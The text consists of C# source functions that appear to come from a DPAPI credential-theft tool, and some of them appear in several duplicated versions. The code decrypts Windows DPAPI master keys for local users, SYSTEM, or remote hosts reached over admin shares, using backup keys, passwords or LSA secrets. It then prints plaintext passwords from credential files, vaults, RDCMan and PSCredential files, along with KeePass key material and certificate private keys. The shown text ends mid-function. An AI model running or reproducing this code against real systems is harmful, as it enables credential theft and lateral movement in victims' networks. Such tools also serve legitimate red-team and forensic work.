public static void TriageCertFile(string certFilePath, Dictionary <string, string> MasterKeys) { // triage a certificate file try { var certDictionary = new Dictionary <string, Tuple <string, string> >(); var fileName = Path.GetFileName(certFilePath); Console.WriteLine(" Certificate file : {0}\r\n", fileName); var certificateArray = File.ReadAllBytes(certFilePath); try { certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } Console.WriteLine(); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", certFilePath, e.Message); } Console.WriteLine(); }
public static void TriagePSCredFile(Dictionary <string, string> MasterKeys, string credFile, bool unprotect = false) { // triage a saved PSCredential .xml // example - `Get-Credential | Export-Clixml -Path C:\Temp\cred.xml` if (!File.Exists(credFile)) { throw new Exception($"PSCredential .xml); file '{credFile}' is not accessible or doesn't exist!\n"); } var lastAccessed = File.GetLastAccessTime(credFile); var lastModified = File.GetLastWriteTime(credFile); var xmlDoc = new XmlDocument(); xmlDoc.Load(credFile); Console.WriteLine(" CredFile : {0}", credFile); Console.WriteLine(" Accessed : {0}", lastAccessed); Console.WriteLine(" Modified : {0}", lastModified); var props = xmlDoc.GetElementsByTagName("Props"); if (props.Count > 0) { var userName = props[0].ChildNodes[0].InnerText; var dpapiBlob = props[0].ChildNodes[1].InnerText; Console.WriteLine(" User Name : {0}", userName); var blobBytes = Helpers.StringToByteArray(dpapiBlob); if (blobBytes.Length > 0) { var decBytesRaw = Dpapi.DescribeDPAPIBlob(blobBytes, MasterKeys, "blob", unprotect); if ((decBytesRaw != null) && (decBytesRaw.Length != 0)) { var password = ""; var finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); if (finalIndex > 1) { var decBytes = new byte[finalIndex + 1]; Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); password = Encoding.Unicode.GetString(decBytes); } else { password = Encoding.ASCII.GetString(decBytesRaw); } Console.WriteLine(" Password : {0}", password); } } } Console.WriteLine(); }
public static void DisplayCredProfile(Dictionary <string, string> MasterKeys, XmlNode credProfileNode, bool unprotect = false) { // helper that displays a Credential Profile/Logon settings XML node from RDG/RDCMan.settings files var profileName = credProfileNode["profileName"].InnerText; if (credProfileNode["userName"] == null) { // have a profile name only Console.WriteLine(" Cred Profile : {0}", profileName); } else { var userName = credProfileNode["userName"].InnerText.Trim(); var domain = credProfileNode["domain"].InnerText.Trim(); var b64Password = credProfileNode["password"].InnerText; var password = ""; var fullUserName = ""; if (String.IsNullOrEmpty(domain)) { fullUserName = userName; } else { fullUserName = $"{domain}\\{userName}"; } Console.WriteLine(" Profile Name : {0}", profileName); Console.WriteLine(" UserName : {0}", fullUserName); var passwordDPAPIbytes = Convert.FromBase64String(b64Password); if (passwordDPAPIbytes.Length <= 0) { return; } var decBytesRaw = Dpapi.DescribeDPAPIBlob(passwordDPAPIbytes, MasterKeys, "rdg", unprotect); if (decBytesRaw.Length != 0) { // chop off anything after the UNICODE end var finalIndex = Array.LastIndexOf(decBytesRaw, (byte)0); if (finalIndex > 1) { var decBytes = new byte[finalIndex + 1]; Array.Copy(decBytesRaw, 0, decBytes, 0, finalIndex); password = Encoding.Unicode.GetString(decBytes); } else { password = Encoding.ASCII.GetString(decBytesRaw); } } Console.WriteLine(" Password : {0}", password); } }
public static void TriageCertFolder(string folder, Dictionary <string, string> MasterKeys, bool machine = false) { // triage a specific certificate folder var certDictionary = new Dictionary <string, Tuple <string, string> >(); if (!Directory.Exists(folder)) { return; } var systemFiles = Directory.GetFiles(folder); if ((systemFiles.Length != 0)) { Console.WriteLine("\r\nFolder : {0}\r\n", folder); foreach (var file in systemFiles) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}") ) { var fileName = Path.GetFileName(file); Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); var certificateArray = File.ReadAllBytes(file); try { certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys, machine)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } } } } else { Console.WriteLine("\r\n[X] Folder '{0}' doesn't contain files!", folder); } Console.WriteLine(); foreach (var key in certDictionary.Keys) { if (certDictionary[key].First != "") { Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); Console.WriteLine("[*] PKCS1 Private key\r\n"); Console.WriteLine(certDictionary[key].First); Console.WriteLine("\r\n[*] Certificate\r\n"); Console.WriteLine(certDictionary[key].Second); Console.WriteLine(); } } }
public static void TriageVaultFolder(string folder, Dictionary <string, string> MasterKeys) { // takes a Vault folder, extracts the AES 128/256 keys from Policy.vpol, and uses these // to decrypt any .vcrd vault credentials var policyFilePath = $"{folder}\\Policy.vpol"; if (!File.Exists(policyFilePath)) { return; } Console.WriteLine("\r\n[*] Triaging Vault folder: {0}", folder); var policyBytes = File.ReadAllBytes(policyFilePath); // first try to get vault keys from the Policy.vpol var keys = Dpapi.DescribeVaultPolicy(policyBytes, MasterKeys); // make sure we have keys returned if (keys.Count <= 0) { return; } var vaultCredFiles = Directory.GetFiles(folder); if ((vaultCredFiles == null) || (vaultCredFiles.Length == 0)) { return; } foreach (var vaultCredFile in vaultCredFiles) { var fileName = Path.GetFileName(vaultCredFile); if (!fileName.EndsWith("vcrd")) { continue; } try { var vaultCredBytes = File.ReadAllBytes(vaultCredFile); // describe the vault credential file using the Policy credentials Dpapi.DescribeVaultCred(vaultCredBytes, keys); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message); } } }
public static Dictionary <string, string> TriageUserMasterKeysWithPass(string password, bool show = false) { Dictionary <string, string> mappings = new Dictionary <string, string>(); string userName = Environment.GetEnvironmentVariable("USERNAME"); string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); string domain = System.Net.NetworkInformation.IPGlobalProperties.GetIPGlobalProperties().DomainName; Dpapi.CalculateKeys(password, directory, false); byte[] hmacbytes; if (domain == "") { hmacbytes = Dpapi.CalculateKeys(password, directory, false); //convert user password to SHA1 } else { hmacbytes = Dpapi.CalculateKeys(password, directory, true); } foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { Dictionary <string, string> mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, hmacbytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } return(mappings); }
public static void TriageCertFile(string certFilePath, Dictionary <string, string> MasterKeys, bool machine = false) { // triage a certificate file var fileName = Path.GetFileName(certFilePath); Console.WriteLine("\r\n Certificate file : {0}\r\n", fileName); var certificateArray = File.ReadAllBytes(certFilePath); try { ExportedCertificate cert = Dpapi.DescribeCertificate(certificateArray, MasterKeys, machine); if (cert.Thumbprint != "") { Console.WriteLine(" Thumbprint: {0}", cert.Thumbprint); Console.WriteLine(" Issuer: {0}", cert.Issuer); Console.WriteLine(" Subject: {0}", cert.Subject); Console.WriteLine(" Valid Date: {0}", cert.ValidDate); Console.WriteLine(" Expiry Date: {0}", cert.ExpiryDate); } if (cert.EKUs.Count > 0) { Console.WriteLine(" Enhanced Key Usages:"); foreach (var eku in cert.EKUs) { Console.WriteLine(" {0} ({1})", eku.First, eku.Second); if (eku.Second == "1.3.6.1.5.5.7.3.2") { Console.WriteLine(" [!] Certificate is used for client auth!"); } } } if (cert.PrivateKey != "") { Console.WriteLine(" [*] Private key file {0} was recovered:\r\n", fileName); Console.WriteLine(cert.PrivateKey); Console.WriteLine(cert.PublicCertificate); Console.WriteLine(); } } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } Console.WriteLine(); }
public static void TriageVaultFolder(string folder, Dictionary <string, string> MasterKeys) { // takes a Vault folder, extracts the AES 128/256 keys from Policy.vpol, and uses these // to decrypt any .vcrd vault credentials string policyFilePath = String.Format("{0}\\Policy.vpol", folder); if (File.Exists(policyFilePath)) { Console.WriteLine("\r\n[*] Triaging Vault folder: {0}", folder); byte[] policyBytes = File.ReadAllBytes(policyFilePath); // first try to get vault keys from the Policy.vpol ArrayList keys = Dpapi.DescribePolicy(policyBytes, MasterKeys); if (keys.Count > 0) { // make sure we have keys returned string[] vaultCredFiles = Directory.GetFiles(folder); if ((vaultCredFiles != null) && (vaultCredFiles.Length != 0)) { foreach (string vaultCredFile in vaultCredFiles) { string fileName = System.IO.Path.GetFileName(vaultCredFile); if (fileName.EndsWith("vcrd")) { byte[] vaultCredBytes = File.ReadAllBytes(vaultCredFile); try { // describe the vault credential file using the Policy credentials Dpapi.DescribeVaultCred(vaultCredBytes, keys); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", vaultCredFile, e.Message); } } } } } } }
public static void TriageCredFile(string credFilePath, Dictionary <string, string> MasterKeys) { var fileName = Path.GetFileName(credFilePath); Console.WriteLine(" CredFile : {0}\r\n", fileName); var credentialArray = File.ReadAllBytes(credFilePath); // describe and possibly parse the credential blob try { Dpapi.DescribeCredential(credentialArray, MasterKeys); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", credFilePath, e.Message); } Console.WriteLine(); }
private static Dictionary <string, string> DecryptSystemMasterKeys(StringBuilder sb, List <byte[]> Dpapikeys, List <byte[]> machineMasterKeys = null, List <byte[]> userMasterKeys = null) { var mappings = new Dictionary <string, string>(); if (machineMasterKeys != null) { foreach (byte[] masteyKeyBytes in machineMasterKeys) { try { // use the "machine" DPAPI key var plaintextMasterkey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, Dpapikeys[0]); mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value); } catch (Exception e) { sb.AppendLine(String.Format("[-] Error triaging {0} ", e.Message)); } } } if (userMasterKeys != null) { foreach (byte[] masteyKeyBytes in userMasterKeys) { try { // use the "user" DPAPI key var plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, Dpapikeys[1]); mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } catch (Exception e) { sb.AppendLine(String.Format("[-] Error triaging {0} ", e.Message)); } } } return(mappings); }
public static void TriageKeePassKeyFile(Dictionary <string, string> MasterKeys, string keyFilePath = "", bool unprotect = false) { if (!File.Exists(keyFilePath)) { return; } var lastAccessed = File.GetLastAccessTime(keyFilePath); var lastModified = File.GetLastWriteTime(keyFilePath); Console.WriteLine(" File : {0}", keyFilePath); Console.WriteLine(" Accessed : {0}", lastAccessed); Console.WriteLine(" Modified : {0}", lastModified); byte[] keyFileBytes = File.ReadAllBytes(keyFilePath); // entropy from KeePass source https://fossies.org/windows/misc/KeePass-2.47-Source.zip/KeePassLib/Keys/KcpUserAccount.cs (lines 44-47) byte[] keyBytes = Dpapi.DescribeDPAPIBlob(keyFileBytes, MasterKeys, "keepass", unprotect, Helpers.ConvertHexStringToByteArray("DE135B5F18A34670B2572429698898E6")); if (keyBytes.Length > 0) { Console.WriteLine(" Key Bytes : {0}", BitConverter.ToString(keyBytes).Replace("-", " ")); } }
public static Dictionary <string, string> TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied Dictionary <string, string> mappings = new Dictionary <string, string>(); if (!String.IsNullOrEmpty(computerName)) { bool canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return(new Dictionary <string, string>()); } } if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && Helpers.TestRemote(computerName))) { // if elevated, triage ALL reachable masterkeys string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) { userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); } else { userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); } string[] userDirs = Directory.GetDirectories(userFolder); foreach (string dir in userDirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { Dictionary <string, string> mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } } } } else { // if not elevated, triage only the current user's masterkeys string userName = Environment.GetEnvironmentVariable("USERNAME"); string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { Dictionary <string, string> mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } } return(mappings); }
public static Dictionary <string, string> TriageSystemMasterKeys(bool show = false) { // retrieve the DPAPI_SYSTEM key and use it to decrypt any SYSTEM DPAPI masterkeys Dictionary <string, string> mappings = new Dictionary <string, string>(); if (Helpers.IsHighIntegrity()) { // get the system and user DPAPI backup keys, showing the machine DPAPI keys // { machine , user } List <byte[]> keys = LSADump.GetDPAPIKeys(true); string systemFolder = String.Format("{0}\\Windows\\System32\\Microsoft\\Protect\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] systemDirs = Directory.GetDirectories(systemFolder); foreach (string directory in systemDirs) { string[] machineFiles = Directory.GetFiles(directory); string[] userFiles = new string[0]; if (Directory.Exists(String.Format("{0}\\User\\", directory))) { userFiles = Directory.GetFiles(String.Format("{0}\\User\\", directory)); } foreach (string file in machineFiles) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { // use the "machine" DPAPI key Dictionary <string, string> mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } foreach (string file in userFiles) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { // use the "user" DPAPI key Dictionary <string, string> mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } else { Console.WriteLine("\r\n[X] Must be elevated to triage SYSTEM masterkeys!\r\n"); } return(mappings); }
public static Dictionary <string, string> TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied Dictionary <string, string> mappings = new Dictionary <string, string>(); bool canAccess = false; if (!String.IsNullOrEmpty(computerName)) { canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return(new Dictionary <string, string>()); } } string[] userDirs; if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) { // if elevated, triage ALL reachable masterkeys string userFolder = ""; if (!String.IsNullOrEmpty(computerName)) { userFolder = String.Format("\\\\{0}\\C$\\Users\\", computerName); } else { userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); } userDirs = Directory.GetDirectories(userFolder); } else { // otherwise we're only triaging the current user's path userDirs = new string[] { System.Environment.GetEnvironmentVariable("USERPROFILE") }; } foreach (string dir in userDirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); bool isDomain = false; byte[] hmacbytes = null; foreach (string file in files) { // if the BK-<NETBIOSDOMAINNAME> file exists, assume this is a domain user. if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) { isDomain = true; // means use the NTLM of the user password instead of the SHA1 } } if (!String.IsNullOrEmpty(password)) { hmacbytes = Dpapi.CalculateKeys(password, directory, isDomain); } foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { if (!String.IsNullOrEmpty(password)) { Dictionary <string, string> mapping = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, hmacbytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } else { Dictionary <string, string> mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } } } if (!String.IsNullOrEmpty(password)) { if (mappings.Count == 0) { Console.WriteLine("\n[!] No master keys decrypted!\r\n"); } else { Console.WriteLine("\n[*] User master key cache:\r\n"); foreach (KeyValuePair <string, string> kvp in mappings) { Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); } Console.WriteLine(); } } Console.WriteLine(); return(mappings); }
public static void TriageUserCerts(Dictionary <string, string> MasterKeys, string computerName = "") { string[] userDirs; if (!String.IsNullOrEmpty(computerName)) { // if we're triaging a remote computer, check connectivity first var canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return; } } //TODO have not verified with multiple users if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && Helpers.TestRemote(computerName))) { var userFolder = !String.IsNullOrEmpty(computerName) ? $"\\\\{computerName}\\C$\\Users\\" : $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; userDirs = Directory.GetDirectories(userFolder); } else { // otherwise we're only triaging the current user's path userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; } foreach (var dir in userDirs) { var parts = dir.Split('\\'); var userName = parts[parts.Length - 1]; if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) { continue; } var userCertkeysBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Crypto\\RSA\\"; if (!Directory.Exists(userCertkeysBasePath)) { continue; } var certDictionary = new Dictionary <string, Tuple <string, string> >(); var directories = Directory.GetDirectories(userCertkeysBasePath); foreach (var directory in directories) { var files = Directory.GetFiles(directory); foreach (var file in files) { if (!Regex.IsMatch(file, @"[0-9A-Fa-f]{32}[_][0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { continue; } var fileName = Path.GetFileName(file); Console.WriteLine("\r\nCertificate file : {0}\r\n", fileName); var certificateArray = File.ReadAllBytes(file); try { certDictionary.Add(fileName, Dpapi.DescribeCertificate(certificateArray, MasterKeys)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", fileName, e.Message); } } } Console.WriteLine(); foreach (var key in certDictionary.Keys) { if (string.IsNullOrEmpty(certDictionary[key].First)) { continue; } Console.WriteLine("[*] Private key file {0} was recovered\r\n", key); Console.WriteLine("[*] PKCS1 Private key\r\n"); Console.WriteLine(certDictionary[key].First); Console.WriteLine("\r\n[*] Certificate\r\n"); Console.WriteLine(certDictionary[key].Second); Console.WriteLine(); } Console.WriteLine("[*] Hint: openssl pkcs12 -export -inkey key.pem -in cert.cer -out cert.p12"); } }
public static Dictionary <string, string> TriageMasterKeys(byte[] backupKeyBytes, bool show = false) { Dictionary <string, string> mappings = new Dictionary <string, string>(); if (Helpers.IsHighIntegrity()) { string userFolder = String.Format("{0}\\Users\\", Environment.GetEnvironmentVariable("SystemDrive")); string[] dirs = Directory.GetDirectories(userFolder); foreach (string dir in dirs) { string[] parts = dir.Split('\\'); string userName = parts[parts.Length - 1]; if (!(dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users"))) { string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", dir); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { Dictionary <string, string> mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } } } } else { string userName = Environment.GetEnvironmentVariable("USERNAME"); string userDPAPIBasePath = String.Format("{0}\\AppData\\Roaming\\Microsoft\\Protect\\", System.Environment.GetEnvironmentVariable("USERPROFILE")); if (System.IO.Directory.Exists(userDPAPIBasePath)) { string[] directories = Directory.GetDirectories(userDPAPIBasePath); foreach (string directory in directories) { string[] files = Directory.GetFiles(directory); foreach (string file in files) { if (Regex.IsMatch(file, @"[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { string fileName = System.IO.Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found MasterKey : {0}", file); } byte[] masteyKeyBytes = File.ReadAllBytes(file); try { Dictionary <string, string> mapping = Dpapi.DecryptMasterKey(masteyKeyBytes, backupKeyBytes); mapping.ToList().ForEach(x => mappings.Add(x.Key, x.Value)); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } } } return(mappings); }
public static Dictionary <string, string> TriageSystemMasterKeys(bool show = false) { // retrieve the DPAPI_SYSTEM key and use it to decrypt any SYSTEM DPAPI masterkeys var mappings = new Dictionary <string, string>(); if (Helpers.IsHighIntegrity()) { // get the system and user DPAPI backup keys, showing the machine DPAPI keys // { machine , user } var keys = LSADump.GetDPAPIKeys(true); Helpers.GetSystem(); var systemFolder = $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Windows\\System32\\Microsoft\\Protect\\"; var systemDirs = Directory.GetDirectories(systemFolder); foreach (var directory in systemDirs) { var machineFiles = Directory.GetFiles(directory); var userFiles = new string[0]; if (Directory.Exists($"{directory}\\User\\")) { userFiles = Directory.GetFiles($"{directory}\\User\\"); } foreach (var file in machineFiles) { if (!Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { continue; } var fileName = Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found SYSTEM system MasterKey : {0}", file); } var masteyKeyBytes = File.ReadAllBytes(file); try { // use the "machine" DPAPI key var plaintextMasterkey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[0]); mappings.Add(plaintextMasterkey.Key, plaintextMasterkey.Value); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } foreach (var file in userFiles) { if (!Regex.IsMatch(file, @".*\\[0-9A-Fa-f]{8}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{4}[-][0-9A-Fa-f]{12}")) { continue; } var fileName = Path.GetFileName(file); if (show) { Console.WriteLine("[*] Found SYSTEM user MasterKey : {0}", file); } var masteyKeyBytes = File.ReadAllBytes(file); try { // use the "user" DPAPI key var plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masteyKeyBytes, keys[1]); mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } catch (Exception e) { Console.WriteLine("[X] Error triaging {0} : {1}", file, e.Message); } } } } else { Console.WriteLine("\r\n[X] Must be elevated to triage SYSTEM masterkeys!\r\n"); } return(mappings); }
public static Dictionary <string, string> TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", string password = "", string target = "") { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied var mappings = new Dictionary <string, string>(); var canAccess = false; if (!String.IsNullOrEmpty(target)) { // if we're targeting specific masterkey files if (backupKeyBytes.Length == 0) { // currently only backupkey is supported Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...'"); return(mappings); } if (!File.Exists(target) && !Directory.Exists(target)) { Console.WriteLine($"[X] The target '{target}' doesn't exist!"); return(mappings); } KeyValuePair <string, string> plaintextMasterKey; if ((File.GetAttributes(target) & FileAttributes.Directory) == FileAttributes.Directory) { // if we're triaging a folder of masterkeys var files = Directory.GetFiles(target); foreach (var file in files) { try { FileInfo f = new FileInfo(file); if (Helpers.IsGuid(f.Name)) { var masterKeyBytes = File.ReadAllBytes(file); plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } } catch (Exception e) { Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); } } } else { // otherwise we're triaging one file try { var masterKeyBytes = File.ReadAllBytes(target); plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); mappings.Add(plaintextMasterKey.Key, plaintextMasterKey.Value); } catch (Exception e) { Console.WriteLine("[X] Error triaging masterkey target '{0}' : {1}", target, e.Message); } } } else { if (!String.IsNullOrEmpty(computerName)) { canAccess = Helpers.TestRemote(computerName); if (!canAccess) { return(new Dictionary <string, string>()); } } string[] userDirs; if (Helpers.IsHighIntegrity() || (!String.IsNullOrEmpty(computerName) && canAccess)) { // if elevated, triage ALL reachable masterkeys var userFolder = !String.IsNullOrEmpty(computerName) ? $"\\\\{computerName}\\C$\\Users\\" : $"{Environment.GetEnvironmentVariable("SystemDrive")}\\Users\\"; userDirs = Directory.GetDirectories(userFolder); } else { // otherwise we're only triaging the current user's path userDirs = new string[] { Environment.GetEnvironmentVariable("USERPROFILE") }; } foreach (var dir in userDirs) { if (dir.EndsWith("Public") || dir.EndsWith("Default") || dir.EndsWith("Default User") || dir.EndsWith("All Users")) { continue; } var userDPAPIBasePath = $"{dir}\\AppData\\Roaming\\Microsoft\\Protect\\"; if (!Directory.Exists(userDPAPIBasePath)) { continue; } var directories = Directory.GetDirectories(userDPAPIBasePath); foreach (var directory in directories) { var files = Directory.GetFiles(directory); var isDomain = false; byte[] hmacBytes = null; foreach (var file in files) { // if the BK-<NETBIOSDOMAINNAME> file exists, assume this is a domain user. if (Regex.IsMatch(file, @".*\\BK-[0-9A-Za-z]+")) { isDomain = true; // means use the NTLM of the user password instead of the SHA1 } } if (!String.IsNullOrEmpty(password)) { hmacBytes = Dpapi.CalculateKeys(password, directory, isDomain); } 